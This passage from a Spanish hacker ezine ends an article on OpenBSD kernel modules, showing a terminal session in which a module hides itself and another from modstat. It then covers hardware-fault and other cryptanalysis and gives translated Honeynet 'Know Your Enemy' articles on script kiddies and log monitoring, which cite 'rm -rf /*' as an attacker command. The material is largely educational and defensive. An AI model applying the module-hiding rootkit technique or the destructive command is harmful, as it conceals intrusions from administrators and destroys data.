--> -rw-r--r-- 1 prodix prodix 347 Nov 24 00:37 Makefile
--> -rw-r--r-- 1 prodix prodix 722 Nov 24 00:37 unloading_dummy.c
--> ramblo$ cd ..
--> ramblo$ make
--> cc -O2 -D_KERNEL -I/sys -c ugly.c
--> cc -O2 -D_KERNEL -I/sys -c ioctl.c
--> cd unloading_dummy && make
--> cc -O2 -D_KERNEL -I/sys -c unloading_dummy.c
--> ld -r -o unloading_dummy_mod.o unloading_dummy.o
--> ld -r -o ugly_mod.o ugly.o ioctl.o
--> ramblo$ su
--> Password:
--> ramblo# make load
--> modload -o ugly -eugly ugly_mod.o
--> Module loaded as ID 0
--> sh makedev.sh
--> crw-r--r-- 1 root wheel 29, 0 Nov 30 21:06 /dev/ugly
--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> DEV 0 29 e0da9000 0002 e0daa040 2 ugly

Por que no se esconde? Pues porque los modulos que se esconden se
tienen que seleccionar, diciendole al dispositivo cual es la ID del modulo que
sea... (Si te has leido el codigo deberias de saberlo)... asi que...

--> ramblo# echo MYLKM0 > /dev/ugly
--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> ramblo#

Bien! No sale! Pero como sabras, esta hecho para esconderse a si mismo
y a otro... Vamos a cargar otro... Uno que no hace nada mas que escribir una
cosa, como el primer ejemplo...

--> ramblo# cd ../dummy/
--> bash-2.05# make && make load
--> cc -O2 -D_KERNEL -I/sys -c dummy.c
--> ld -r -o dummy_mod.o dummy.o
--> modload -o dummy -edummy dummy_mod.o
--> Module loaded as ID 1
--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> MISC 1 0 e0e3a000 0002 e0e3b000 2 dummy
--> ramblo# echo OTLKM1 > /dev/ugly
--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> ramblo#

Ya esta! No sale este ni el modulo independiente, que por ejemplo,
podria ser un modulo que crea un dispositivo que hace algo que los usuarios
sin permisos no queremos que sepan que esta... :)

Para hacer otros modulos, tengan el objetivo que tengan, investigaremos
que tenemos que hacer de la misma manera que habeis visto para esconder los
modulos. (Aunque este modulo pueda darsele uso lo que pretendia era mostrar la
forma de actuar ante una situacion real).


- 6.- Textos recomendados y archivos importantes -
------------------------------------------------

Ya dije que es muy probable que quien no haya leido nada sobre modulos
previamente no se haya enterado, el texto esta orientado a ver la forma de
trabajar los modulos bajo OpenBSD...

-Textos:
Linux LKMs: Troyanizando el kernel - 7a69 ezine #12 --- Ripe
Attacking FreeBSD with kernel modules --- Pragmatic

-Ficheros:
/usr/src/sys/sys/lkm.h <--- Fichero de cabezera.
/usr/src/sys/kern/kern_lkm.c <--- Base de los LKM en OpenBSD.
/usr/share/lkm/* <--- Ejemplos de LKM para OpenBSD.
/usr/share/man/cat4/lkm.0 <--- Pagina man.


- 7.- Resumen a modo de despedida -
---------------------------------

Bien, cuando se aborda la programacion de un modulo, lo primero es
plantearse que es lo que se quiere hacer... Si se sabe con certeza que es como
se ha de hacer, pues muy bien, si no, para ver lo que hay que "tocar" lo
lo primero es tracear las llamadas al sistema que se hacen y leerse el codigo
del programa y/o del kernel que haga falta.
Por ejemplo, en el ejemplo del modstat, lo primero que hizimos fue
ver las llamadas al sistema que usa el programa y luego leimos el codigo fuente
del programa modstat. Como ya sabiamos que habia que modificar sys_ioctl(),
pues nos vamos al kernel, nos la leemos y vemos como funciona.
Ya lo ultimo es meter mano y a programar. Suerte con los modulos! :)

Si teneis preguntas que hacerme o comentarios o lo que sea, sentiros
libres de escribidme a luisj@gmx.net.


*EOF*
-=( 7A69#13 )=--=( art7 )=--=( Criptoanalisis basado en )=--=( Memonix )=-
( fallos de hardware. )


========================= Introduccion =========================

En el mundo de la criptologia se pueden distinguir dos campos que
evolucionan paralelamente: criptografia y criptoanalisis, una se basa en el
estudio de tecnicas para mantener secretas todo tipo de comunicaciones,
mientras que la otra parcela tiene como objetivo descifrar todo ese tipo
de comunicaciones 'aseguradas'.
Todo este campo del saber esta fundamentado en diversos campos de la
Matematica como son la teoria de numeros, algebra lineal, estadistica, etc,
por lo que se requiere para su total comprension un nivel bastante elevado
de estas areas, cosa por la cual es un campo bastante profesionalizado,
donde todas las investigaciones son llevadas a cabo por verdaderos 'gurus'.

Debido a la estrecha relacion existente entre criptografia y criptoanalisis,
se puede decir que los avances de uno llevan irrebocablemente a avances en
el otro, por lo que un buen criptologo desarrollara sistemas criptograficos
que ofrezcan un descifrado sencillo pero un descriptado lo mas dificil
posible, intentando en todo lo posible que su sistema converga con un modelo
de seguridad incondicional, donde el sistema es seguro frente a un atacante
con tiempo y recursos computacionales ilimitados, lo cual como se puede
suponer es inviable a nivel practico, aunque ya ha sido demostrado a nivel
teorico (cifrado Vernam).

Cuando un criptografo ha de desarrollar un sistema criptografico, ha de
tomar un cierto numero de decisiones, como pueden ser decidir el grado de
'modularizacion', los modos de operacion, los protocolos constituyentes,
la unificacion de autentificacion y encriptacion, o el tratamiento por
separado de cada uno de ellos, el orden de operacion de estos mismos,
el tamaño de los bloques y de la clave, el tipo de procesadores en el que se
espera un mayor rendimiento teniendo en cuenta las limitaciones de la RAM y
la ROM, la robustez del algoritmo que suele implicar 'complejidad' frente a
la 'simplicidad' que se ha de encontrar para que el algoritmo no sea dificil
de programar, la 'modificabilidad' del algoritmo para trabajar con
diferentes niveles de seguridad, las tecnicas de administracion de las
llaves, la eleccion del conjunto de operacion que seran usadas, el posible
empleo de subllaves, el numero de iteraciones a usar, decidir si es
aceptable el trabajar con estructuras lineales al igual que con funciones
reversibles, el uso de tecnicas que preserven la entropia de las diversas
partes del sistema, cual sera el proceso de generacion de las llaves y
subllaves, si el sistema va a usar metodos simetricos o asimetricos, si se
usaran metodos de cifrado en bloque o en flujo, teniendo en cuenta las
posibles opciones de diseño que siguen a su vez a cada una de las opciones,
etc, etc, etc.

Como se puede llegar a imaginar es un trabajo de diseño un tanto descomunal,
por lo que cada una de las etapas de diseño requiere una cantidad de tiempo
importante, ya que despues de que cada etapa o fase ha sido terminada se
tiende a 'testear' el sistema frente a un conjunto de posibles
vulnerabilidades y ataques, aunque esto ciertamente es una practica
incorrecta, siendo el conjunto de ataques bastante extenso, entre los que
podemos encontrar algunos mas interesantes que otros, como pueden ser por
ejemplo los ataques que suelen llevar a cabo los criptoanalistas contra los
cifrados en bloque, siendo los mas comunes en la actualidad los
criptoanalisis diferenciales y lineales, los cuales han sido desarrollados
hace relativamente poco, pero no queda ahi toda la historia ya que
ultimamente esta llegando el rumor de un nuevo tipo de criptoanalisis, los
llamados criptoanalisis basados en fallos de hardware.

Como anexo decir que las soluciones criptograficas si estan debidamente
desarrolladas en todos los aspectos de su diseño, son altamente utiles, pero
esto desgraciadamente no suele ocurrir, ya que se suele olvidar que un
sistema consta de una etapa de diseño, implementacion y instalacion, donde
un importante porcentaje de sistemas falla en alguna de estas etapas, con lo
que la seguridad del sistema se ve bastante mermada; a su vez una gran
cantidad de sistemas se 'asegura' contra fallos y tecnicas de ataque ya
conocidas lo que es otro tremendo error, ya que un buen producto ha de ser
seguro incluso ante ataques que aun no han sido desarrollados, ya que los
atacantes no tienen mas que esperar a la llegada de nuevas herramientas para
romper cualquier tipo de sistemas, resumiendo se podria decir que la
mayoria de los productos son simplemente seguros criptograficamente pero no
seguros en si, ya que se puede 'romper' un sistema sin romper la seguridad
de ese sistema.

En lo siguiente intentare dar una mera idea del funcionamiento de estos
distintos tipos de criptoanalisis.

========================= Criptoanalisis =========================
========================= diferencial =========================

El criptoanalisis diferencial es un ataque estadistico donde se itera r
veces una transformacion debil en terminos criptograficos, este tipo de
ataques fueron desarrollados por Shamir y Biham en su celebre documento
'Differential cryptanalysis of DES-like cryptosystems'.
Para desarrollar este ataque se estudian grandes cantidades de parejas de
texto claro y cifrado elegidos al azar, donde la diferencia entre cualquiera
de los textos en claro satisface una diferencia conocida, entonces se
procede a estudiar la propagacion a lo largo del algoritmo de esta
diferencia, observando despues la diferencia entre los textos cifrados.

Este tipo de ataques busca una 'minimizacion' o 'optimizacion' del tiempo
necesario para romper la clave respecto a los ataques por fuerza bruta,
necesitando de un esquema 'propio' de ataque para cada criptosistema.

========================= Criptoanalisis =========================
========================= lineal =========================

Este tipo de ataques son relativamente recientes, fueron desarrollados por
Matsui, 'Linear Criptanalysis Method for DES Cipher', consistiendo en
hacer aproximaciones lineales para describir el comportamiento de un
cifrado en bloque, el esqueleto del ataque se podria decir que es el
siguiente, se suman modulo 2 varios bits de texto claro y varios bits de
texto cifrado, obteniendo un solo bit que se compara a su vez con otro bit
resultado de sumar modulo 2 varios bits de la correspondiente clave, todo
este proceso se repite para varios mensajes y claves diferentes, llegando
al calculo de una probabilidad de coincidencia 'p' de ambos bits.

Si la probabilidad de coincidencia es distinta de 1/2, es posible recuperar
una clave mediante un ataque por texto conocido, cuanto mayor sea la
diferencia |p- (1/2)| mas facil sera.
Uno de los elementos clave en este tipo de ataques es la seleccion de los
bits a sumar antes de la comparacion, requiriendo un estudio previo del
sistema.

========================= Criptoanalisis =========================
========================= basado en =========================
========================= fallos de hardware =========================

Este tipo de ataques se podrian considerar al menos como curiosos, teniendo
su base en el aprovechamiento de fallos de hardware para recuperar la
clave almacenada en ese mismo sistema, los creadores teoricos de este
ataque fueron Richard Lipton, Rich DeMillo y Dan Boneh, demostrando que este
tipo de ataques son viables contra criptosistemas que usan operaciones
modulares, como son casi todos los sistemas de clave publica.
Mas tarde Biham y Shamir 'portaron' este tipo de ataques contra DES y otros
algoritmos de cifrado en bloque, siendo estas tecnicas finalmente mejoradas
por Ross Anderson y Markus Kuhn.

El esqueleto basico consiste en someter al equipo de cifrado en el que se
encuentra una clave a una 'perturbacion' fisica, como pueden ser un
bombardeo con particulas ionizantes, falta de tension, sobretension, etc.
De esta forma se consigue alterar el funcionamiento del dispositivo
temporal o permanentemente, con lo que se procede a comparar textos
cifrados obtenidos a partir de textos claros conocidos antes y despues de la
perturbacion, pasando a estudiar las diferencias para poder llevar a cabo
la recuperacion de la clave.

Los avances conseguidos en esta 'tegnologia' de antiseguridad han ido
orientados sobre todo a la minimizacion del numero de textos cifrados
necesarios para realizar el estudio, habiendo sido reducido de 200 a 10,
tambien se han conseguido optimos resultados en tecnicas de ingenieria
inversa contra algoritmos de estructura desconocida, siendo las
observaciones criticas en todos los casos que los errores producidos en
las ultimas rondas de cifrado dan amplia informacion sobre la llave y/o
estructura del algoritmo.

Este tipo de ataques son sobre todo criticos si son realizados contra
smartcards, ya que la EEPROM es completamente vulnerable, siendo este un
campo de investigacion un tanto desconocido, donde los 'puntas' en
cuestiones de diseño de equipamiento criptografico suelen ser Visa y IBM,
siendo los atacantes divididos en tres categorias:

1.clever outsiders
2.knowledgeable insiders
3.funded organisations

donde la categoria '1' esta compuesta por personas con insuficientes
conocimientos del sistema, y con un equipo tecnico moderadamente sofisticado
donde lo que se intenta es explotar vulnerabilidades conocidas en el sistema
sin intentar en ningun momento descubrir nuevas tecnicas, la categoria '2'
esta compuesta por personas con conocimientos tecnicos especiales teniendo
experiencia en este tipo de asuntos, teniendo conocimiento de ciertas partes
del sistema y acceso a herramientas e instrumentos de analisis sofisticados,
el ultimo 'grupo' se podria decir que es un 'ensamblamiento' de
especialistas en cada uno de los campos involucrados en el estudio, pudiendo
llevar a cabo un analisis en profundidad del sistema llegando al desarrollo
de ataques altamente sofisticados; como se puede imaginar estos 'ambientes'
son altamente hermeticos, estando compuestos por la elite ingenieril que
pocas veces se da a conocer.

Como los caminos del saber son infinitos, incluso dentro de la seguridad
informatica/electronica la cual no es mas que un pseudoconocimiento o saber
menor, no pienso abarcar mas de lo ya dicho, asi que esto se acaba aqui.

"El verdadero placer no consiste en saber, sino en llegar a saber"
[Isaac Asimov]

[memonix 2k1]

*EOF*
-=( 7A69#13 )=--=( art8 )=--=( Conoce tu enemigo I; )=--=( Tahum )=-
( Las herramientas y )
( metedologias del Script )
( Kiddie. )


[ Documento traducido por Tahum@phreaker.net, ponte en contacto a esta
direccion si encuentras imperfecciones en la traduccion. Gracias. ]



Conoce tu enemigo

Las herramientas y metedologias del Script Kiddie



Honeynet Project
Http://project.honeynet.org
Ultima modificacion: 21 de Julio, 2000.



Mi jefe me solia decir que para protegerte a ti mismo contra el
enemigo, primero debias conocer quien era tu enemigo. Esta doctrina militar
se aplica facilmente al mundo de la seguridad en red. Simplemente como los
militares, tienes una informacion que intentas proteger. Para ayudar a la
proteccion de estos datos, necesitas saber quienes son tus enemigos y como
te van a atacar. Este articulo, el primero de varias series, simplemente
hace esto, explica las herramientas y la metodologia de uno de las clases de
atacantes mas comunes, el Script Kiddie. Si tu o tu organizacion tiene
cualquier terminal conectado a Internet, este enemigo ira a por ti.

Las series "Conoce tu enemigo" estan escritas para ense¤ar las
herramientas, tacticas y motivos de la comunidad blackhat. "Conoce tu
enemigo: II" se centra en como puedes detectar estos atacantes, detectar que
herramientas estan usando y en que vulnerabilidades se centran. "Conoce tu
enemigo: III" se fija en que pasara una vez ellos ganan privilegios de root.
Concretamente, como borran sus huellas y que haran a continuacion. "Conoce
tu enemigo: Resultados forenses" cubre como puedes analizar un ataque de ese
tipo. "Conoce a tu enemigo: Motivos" explica los motivos y la psicologia de
algunos miembros de la comunidad black-hat capturandu sus comunicaciones.
Finalmente, "Conoce a tu enemigo: Gusanos en la guerra" relata como gusanos
automatizados atacan sistemas Windows vulnerables.


- Quien es el Script Kiddie?

Script Kiddie es alguien que busca una presa facil. No buscan
informacion especifica o una victima en concreto. Su objetivo es ganar de la
forma mas facil posible privilegios de root. Ellos hacen esto centrando su
actividad en la busqueda de un Exploit por toda Internet, que les permita
explotar el sistema. Trde o temprano encontraran algo vulnerable.

Algunos de ellos son usuarios avanzados que desarrollan sus propias
herramientas y garantizan su futuro acceso mediante puertas traseras. Otros
no saben lo que hacen y solo saben como escribir "go" en la linea de
comandos. Independientemente de su nivel de conocimientos, comparten una
estrategia comun, una busqueda aleatoria de cualquier vulnerabilidad, para a
continuacion explotarla.


- El peligro

Es esta seleccion aleatoria de victimas lo que hace al script kiddie
un peligro en potencia. Tarde o temprano tus sistemas seran probados, no
puedes esconderte de ellos. Conozco administradores que estaban sorprendidos
de que sus sistemas fueran escaneados cuando sus sistemas solo llevaban
conectados un par de dias, y nadie

  
los conocia. No hay nada de sorprendente
en esto. Lo mas probable, es que sus sistemas fuesen escaneados por un
Script Kiddie que escaneara ese rango de IPs determinado.

Si esto estuviera limitado por los escaneos individiales, las
estadisticas estarian a tu favor, ya que con millones de sistemas en
Internet, las probabilididades nos hacen pensar que nadie podra encontrarte.
Sin embargo, este no es el caso. La mayoria de las herramientas usadas por
los script kiddies son faciles de usar y ampliamente distribuidas,
cualquiera puede usarlas. Un rapido crecimiento de la cantidad de gente que
poseen estas herramientas constituye un porcentaje alarmante. Dado que
Internet no conoce fronteras geograficas, este peligro se ha difundido
rapidamente a lo largo del mundo. De repente, las leyes numericas se estan
volviendo contra nosotros. Con tantos usuarios en Internet usando estas
herramientas, la pregunta no es si te va a suceder, sino cuando te sucedera.


- La metodologia

La metodologia del Script kiddie es simple. Escanea internet en busca
de una vulnerabilidad especifica, cuando la encuentra, la explota. La
mayoria de las herramientas que usan son automaticas, requieren poca
interaccion. Puedes lanzar el escaneo, y volver algunos dias mas tarde para
recoger los resultados. No hay dos herramientas iguales, simplemente dado
que no hay dos exploits iguales. Sin embargo, la mayoria de las herramientas
usan la misma estrategia. Primero, desarrollan una base de datos con IPs que
pueden ser escaneadas. Entonces, escanean estas IPs en busca de una
vulnerabilidad concreta.

Por ejemplo, supongamos que un usuario tiene una herramienta capaz de
explotar imap en sistemas Linux, como imapd_exploit.c. Primero, ellos
desarrollaran una base de datos de direccioens IP que podrian escanear (por
ej., sistemas conectados y alcanzables). Una vez construida esta base de
IPs, el usuario buscara determinar que sistemas estan corriendo linux.
Muchos escaneadores actuales lo hacen facilmente enviando paquetes mal
formados a un sistema y viendo como responde, como el nmap de Fyodor.
Entonces, estas herramientas se usaran para determinar que sistemas Linux
estavan corriendo imap. Todo lo que queda es explotar estos sistemas
vulnerables.

Podrias pensar que este escaneo seria extremadamente ruidoso, que
atraeria mucho la atencion. Sin embargo, mucha gente no monitoriza sus
sistemas, y no se da cuenta de que estan siendo escaneados. Tambien, muchos
script kiddies se centran en un solo sistema que puedan explotar. Una vez
han explotado un sistema, usaran ese sistema como una rampa de lanzamiento.
Ahora podrian escanear descaradamente Internet entera sin miedo a ser
castigados, ya que si sus escaneos son detectados, el administrador de
sistema tendra la culpa, y no el black-hat.

Tambien, estos escaneos resultan tambien archivados o compartidos
entre otros usuarios, para usarlos en un futuro. Por ejemplo, un usuario
desarrolla una base de datos de los puertos abiertos en una maquina Linux
determinada. El usuario constriye esta base de datos para explotar la
vulnerabilidad actual de imap. Sin embargo, un mes mas tarde se identifica
un nuevo exploit para Linux en un puerto diferente. En lugar de tener que
construir una nueva base de datos (la cual es la parte que mas tiempo
consume), el usuario puede rapidamente revisar su archivo de base de datos y
comprometer los sistemas vulnerables. Como alternativa, los script kiddies
comparten o eventualmente compran bases de datos de sistemas vulnerables los
unos de los otros. Puedes ver ejemplos de esto en "Conoce tu enemigo:
Motivos". El script kiddie puede entonces explotar tu sistema sin haberlo
escaneado nunca. Simplemente porque tu sistema no haya sido escaneado
recientemente no significa que te encuentres seguro.

Los black-hats mas sofisticados instalan troyanos y puertas traseras
una vez han comprometido el sistema. Las puertas traseras una facil y al
mismo tiempo silenciosa entrada al sistema cuando el usuario quiera. Los
troyanos hacen la intrusion indetectable. El podria no aparecer en ningun
log, proceso del sistema, o estructura de archivos. El construye una
confortable y segura casita donde el puede escanear Internet inpunemente.
Para mas informacion, lee "Conoce tu enemigo: III"

Estos ataques no se limitan a determinadas horas del dia. Muchos
administradores buscan en sus logs las actividades del sistema por la noche,
creyendo que es cuando los black-hats atacan. Los script kiddies atacan a
cualquier hora. Como estan escaneando las 24h del dia, no sabes cuando
sucedera. Asimismo, estos ataques se lanzan a lo largo del mundo. Por la
simple razon de que Internet no conoce zonas geograficas, no hace ninguna
distincion. Puede ser que medianoche los black-hats actuen, pero en tu zona
horaria, es la 1 del mediodia.

Esta metodologia de escaneo de sistemas vulnerables puede ser usada
para multitud de propositos. Recientemente, nuevos ataques de Denegacion de
Servicio se han dado a la luz, especificamente DDoS (Denegaciones
Distribuidas de Servicio). Estos ataques se basan en el control por parte de
una persona de cientos, sino miles de sistemas comprometidos a lo largo del
mundo. Estos sistemas comprometidos son entonces coordinados de forma remota
para ejecutar ataques de Denegacion de Servicio contra una o mas victimas.
Dado que multiples sistemas comprometidos son usados, es extremadamente
complicado defenderte contra el origen del ataque. Para ganar el control de
varios sistemas, las tacticas de los script kiddies son a menudo usadas. Los
sistemas vulnerables son identificados aleatoriamente y entonces
comprometidos a ser usados como rampas de lanzamiento de ataques DDoS. A mas
sistemas comprometidos, un ataque DDoS mas poderoso. Un ejemplo de este
ataque es 'stacheldraht',. Para aprender mas acerca de los ataque de
Denegacion de Servicio Distribuido y como protegerte de ellos, echa un
vistazo al sitio web de Paul Ferguson, Denialinfo (www.denialinfo.com).


- Las herramientas

Las herramientas usadas son de un uso extremadamente sencillo. La
mayoria se limitan a un proposito en concreto con unas pocas opciones. En
primer lugar vienen las herramientas usadas para construir una base de datos
de direcciones IP. Estas herramientas son escogidas aleatoriamente, a fin de
escanear indiscriminadamente Internet. Por ejemplo, una herramienta posee
una unica opcion, A,B o C. Esta letra que seleccionas determina el rango de
red a ser escaneado. Esta herramienta entonces selecciona de forma aleatoria
las direcciones IP a escanear. Otra herramienta usa un nombre de dominio
(z0ne es un excelente ejemplo de esto). Esta herramienta hace una base de
datos de direcciones IP transmitiendo las transferencias de zona del nombre
de dominio y todos sus sub-dominios. El usuario tiene construida bases de
datos con mas de 2 millones de IPs escaneando enteramente el dominio com o
.edu. Una vez averiguado, las IPs son entonces escaneadas por herramientas
que detectan vulnerabilidades, como la version de named, sistema operativo,
o los servicios corriendo en tu sistema. Una vez los sistemas vulnerables
han sido identificados, el black-hat ataca. Para una mejor comprension de
como se usan estas herramientas, echale un ojo a "Conoce tu enemigo:
Resultados forenses".


- Como protegerte contra esta amenaza

Hay medidas que puedes tomar para protegerte contra esta amenaza.
Primero, el script kiddie ira por una presa facil, ellos buscan sistemas con
fallos comunes. Asegurate de que tus sistemas y redes no son vulnerables a
esos exploits. www.cert.org y www.ciac.org ambos son excelentes fuentes para
informarte de lo que es un fallo comun. Tambien, la lista de correo bugtraq
(archivada en securityfocus.com) es una de las mejores fuentes de
informacion. Otra forma de protegerte a ti mismo es ejecutando solo los
servicios que necesites. Si no necesitas un servicio, cierralo. Si lo
necesitas, asegurate de que esta actualizado a su ultima version. Para ver
ejemplos de como hacer esto, mirate "Blindando Solaris", "Blindando Linux" o
"Blindando NT".

Como has aprendido de esta seccion de herramientas, los servidores
DNS son usados a menudo para desarrollar una base de datos de sistemas que
pueden ser probados. Limita los sistemas que pueden conducir transferencias
de zona de tus servidores de nombres. Loguea cualquier transferencia no
autorizada y siguela. Recomendamos altamente actualizarse a la ultima
version de BIND. Por ultimo, revisa tus sistemas, siendo probados. Una vez
identificado, puedes seguir la pista de estas pruebas y ganar una mejor
comprension de las amenazas de tu red y como reaccionar ante estos peligros.


- Conclusion

El script kiddie es un peligro para todos los sistemas. No muestran
ningun perjuicio y escanean todos los sistemas, analizando su localizacion y
valia. Tarde o temprano, tu sistema sera probado. Entendiendo sus motivos y
sus metodos, puedes proteger mejor tus sistemas contra este peligro.

*EOF*
-=( 7A69#13 )=--=( art9 )=--=( Conoce tu enemigo II; )=--=( Tahum )=-
( Siguiendo los movimientos )
( del blackhat. )


[ Documento traducido por Tahum@phreaker.net, ponte en contacto a esta
direccion si encuentras imperfecciones en la traduccion. Gracias. ]



Conoce tu enemigo II

Siguiendo los movimientos del blackhat



Honeynet Project
Http://project.honeynet.org
Ultima modificacion: 18 de Julio, 2001.


Este articulo es el segundo de una serie de articulos. En el primer
articulo, Conoce tu enemigo, tratamos las herramientas y metodologias del
Script Kiddie. Especificamente, como comprueban las vulnerabilidades para
entonces atacar. El tercer articulo cubre lo que los script kiddies hacen
una vez han conseguido root. En concreto, como cubren sus huellas y lo que
hacen a continuacion. En este, el segundo articulo, trataremos como detectar
sus movimientos. Simplemente como en una operacion militar, quieres rastrear
a los chicos malos y saber que estan haciendo. Trataremos aquello que puedes
hacer, y no puedes estipular, con tus logs de sistema. Puedes ser capaz de
determinar si tu sistema esta siendo puesto a prueba, en que se ha puesto a
prueba, que herramientas fueron usadas, y si el ataque tuvo exito. Los
ejemplos provistos aqui se centran en Linux, pero pueden ser aplicados a
cualquier sabor de Unix. Recuerda, no hay ningun metodo garantizado para
seguir el rastro a cada paso del enemigo. Sin embargo, este articulo es un
buen lugar para empezar a hacerse una idea.


- Asegurando tus logs

Este articulo no se centra en la deteccion de intrusiones, hay una
gran variedad de excelentes documentos que cubren el tema de los IDS. Si te
interesa la deteccion de intrusiones, te recomiendo que eches un vistazo a
aplicaciones como Network Flight Recorder o snort. Este articulo se centra
en la recolecta inteligente. Especificamente, como darte cuenta de lo que el
enemigo esta haciendo algo revisando tus logs. Te sorprenderas de cuanta
informacion encontraras en tus archivos. Sin embargo, antes de hablar de
revision de logs, hemos de tratar como proteger estos. Tus logs carecen de
valor si no puedes confiar en su integridad. Lo primero que la mayoria de
black-hats hacen es alterar los logs en el sistema que han comprometido. Hay
una gran variedad de rootkis que limpian su presencia de los logs (como
cloak), o alteran definitivamente el modo de logueo (como la version
troyanizada del binario syslogd). Como consiguiente, lo primero a hacer sera
proteger tus logs, antes de revisarlos.

Esto significa que necesitaras es un servidor de remoto de logueo.
Independientemente de lo seguro que sea tu sistema, no puedes confiar en los
logs de un sistema comprometido. Si nada lo impide, el black-hat puede hacer
un simple rm -rf /* en tu sistema, limpiando el disco duro. Con esto, seria
algo dificil recuperar los logs. Para protegerte de esto, querras loguear
toda la actividad de todos tus sistemas y recolectarla en un servidor de
logueo remoto. Recomiendo hacer de tu servidor de logueo un servidor
dedicado, por ej. la unica cosa que se debe hacer en ese sistema seria la de
recoger logs de otros sistemas... si el dinero es un problema, puedes
facilmente usar un terminal linux como tu servidor de logueo. Este servidor
debe ser altamente seguro, con todos los servicios cerrados, permitiendo
solo el acceso por consola (lee Blindando Linux para un ejemplo). Tambien,
asegurate de que el puerto UDP 514 esta cerrado o protegido por firewall en
tu conexion a Internet, este protege tu servidor de logueo de recibir
informacion mala o no autorizada de logueo desde Internet.

Para aquellos de vosotros que os guste enga¤ar, algo que me gusta es
recompilar syslogd leyendo desde un archivo de configuracion distinto, como
/var/tmp/.conf. De este modo el black-hat no hara limpieza del archivo de
log real. Esto es simple y puede hacerse cambiando la entrada
"/etc/syslog.conf" en el codigo fuente de cualquier archivo que encuentres.
Entonces instalamos nuestra nuevo archivo de configuracion para loguear de
forma local y el servidor de log (ver el ejemplo). Asegurate de mantener una
copia de seguridad del archivo de configuracion, /etc/syslog.conf, el cual
apunta a todo el logueo local. Aun cuando esta configuracion sea inutil,
esto hara que el black-hat lance sus ataques sobre nuestro servidor de
logueo. Otra opcion para tus sistemas es usar un metodo seguro de logueo.
Ona opcion es reemplazar tu binario syslogs con algo que compruebe la
integridad de ficheros y demas funciones. Ona opcion es syslogd, la cual
puedes encontrar en http://www.balabit.hu/products/syslog-ng.html.

La mayoria de los logs que usaremos son los unicos almacenados en el
servidor remoto de logueo. Como se menciono anteriormente, podemos estar
seguros de forma fiable de la integridad de estos logs dado que ellos estan
en un servidor remoto y seguro. Tambien, dado que todos los sistemas estan
siendo logueados por un unico sistema, es mucha mas facil identificar
patrones en esos logs. Podemos rapidamente hacer una revision de lo que ha
sucedido a todos los sistemas desde una sola fuente. La unica vez en la que
querras revisar los logs almacenados localmente en un sistema sera para
compararlos con la copia que el servidor remoto de logueo posee. De esta
forma puedes determinar si los logs locales han sido alterados comparandolos
con los logs remotos.


- Comparacion de patrones

Revisando las entradas de tus logs, podras normalmente determinar si
has sufrido algun escaneo de puertos. La mayoria de Script Kiddies escanean
una red en busca de una unica vulnerabilidad. Si tus logs muestran una serie
de conexiones desde una maquina determinada a muchas maquinas de tu red, en
el mismo puerto, sera probablemente un escano en busca de una vulnerabilidad
en concreto. Basicamente, el enemigo tiene un exploit para un determinado
fallo de seguridad, y buscan en tu red maquinas con las que usarlo. Cuando
encuentren alguna maquina vulnerable, la explotaran. Para la mayoria de
sistemas Linux, los TCP Wrappers se instalan por defecto. De este modo,
encontraremos la mayoria de estas conexiones en /var/log/secure. Para otros
tipos de Unix, podemos loguear todas las conexiones de inetd lanzando inetd
con el argumento "-t". Un tipico escaneo de exploits se parece a lo que a
continuacion se muestra. Aqui tenemos una maquina unica que escanea en busca
de una vulnerabilidad de wu-ftpd.

/var/log/secure
Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200

Aqui vemos que la maquina 192.168.11.200 esta escaneando nuestra red.
Notese el escaneo de IPs de forma secuencial (esto no es siempre asi). Esta
es la ventaja de tener un unico servidor de logueo, que puedes identificar
mas facilmente determinados patrones dado que tus logs estan combinados. Las
repetidas conexiones al puerto 21, ftp, indican que se estaba buscando un
wu-ftpd vulnerable. Simplemente hemos determinado lo que el black-hat busca.
A menudo, los escaneos se hacen en etapas. Alguien publica codigo para una
vulnerabilidad de imap, y de pronto ves un rapido crecimiento de escaneos de
imap en tus logs. Al siguiente mes iran en busca de tu ftp. Una excelente
fuente para ver los exploits actuales es http://www.cert.org/advisories/. A
veces, se hace uso de herramientas que escanean una variedad de fallos al
mismo tiempo, de forma que puedes ver que una sola maquina se conecta a
diferentes puertos de tus maquinas.

Ten en mente que si no estas logueando el servicio, no sabras si te
estan escaneando ese servicio. Por ejemplo, la mayoria de las conexiones rpc
no son logueadas. Sin embargo, muchos servicios pueden ser a¤adidos de forma
sencilla a /etc/inetd.conf para ser logueados con TCP Wrappers. Por ejemplo,
puedes a¤adir una entrada en /etc/inetd.conf para NetBus. Puedes definir TCP
Wrappers que denieguen de forma segura y logueen las conexiones (lee
Detecion de Intrusiones para mas informacion sobre esto).


- Cual es la herramienta?

Hay ocasiones en las que puedes determinar las herramientas que han
sido usadas para escanear tu red. Algunas de las herramientas de escaneo mas
basicas se centran un en determinado fallo, como ftp-scan.c. Si solo se esta
poniendo a prueba un unico puerto en tu red, seran herramientas de "unica
mision" seguramente las que se esten usando. Sin embargo, existen programas
que prueban una serie de vulnerabilidades, las dos mas populares son sscan,
por jsbach y nmap, por Fyodor. Hemos elegido estas dos herramientas porque
representan las dos "categorias" de herramientas de escaneo. Recomendamos
altamente que pruebes estas dos herramientas contra tu propia red, te
sorprenderas de los resultados :).

NOTA: La herramienta sscan esta muy desfasada. sscan se trata solo como un
ejemplo. Para escanear tu propia red en busca de vulnerabilidades,
recomendamos la herramienta de codigo abierto Nessus.

sscan representa la herramienta de escaneo del Script Kiddie para
todos los propositos. Esta escanea una red en busca de un conjunto concreto
de vulnerabilidades. Es configurable, permitiendote a¤adir nuevos fallos que
buscar. Simplemente proporcionas a la herramienta una red y una mascara de
red, y esta hace el resto por ti. Sin embargo, el usuario debe ser root para
ejecutarla. El resultado que produce la herramienta es extremadamente facil
de interpretar (de aqui que sea tan popular). Te da un sumario conciso de
los servicios vulnerables. Todo lo que debes hacer es ejecutar ssan contra
una red, hacer un grep para la palabra "VULN" en la salida del programa, y
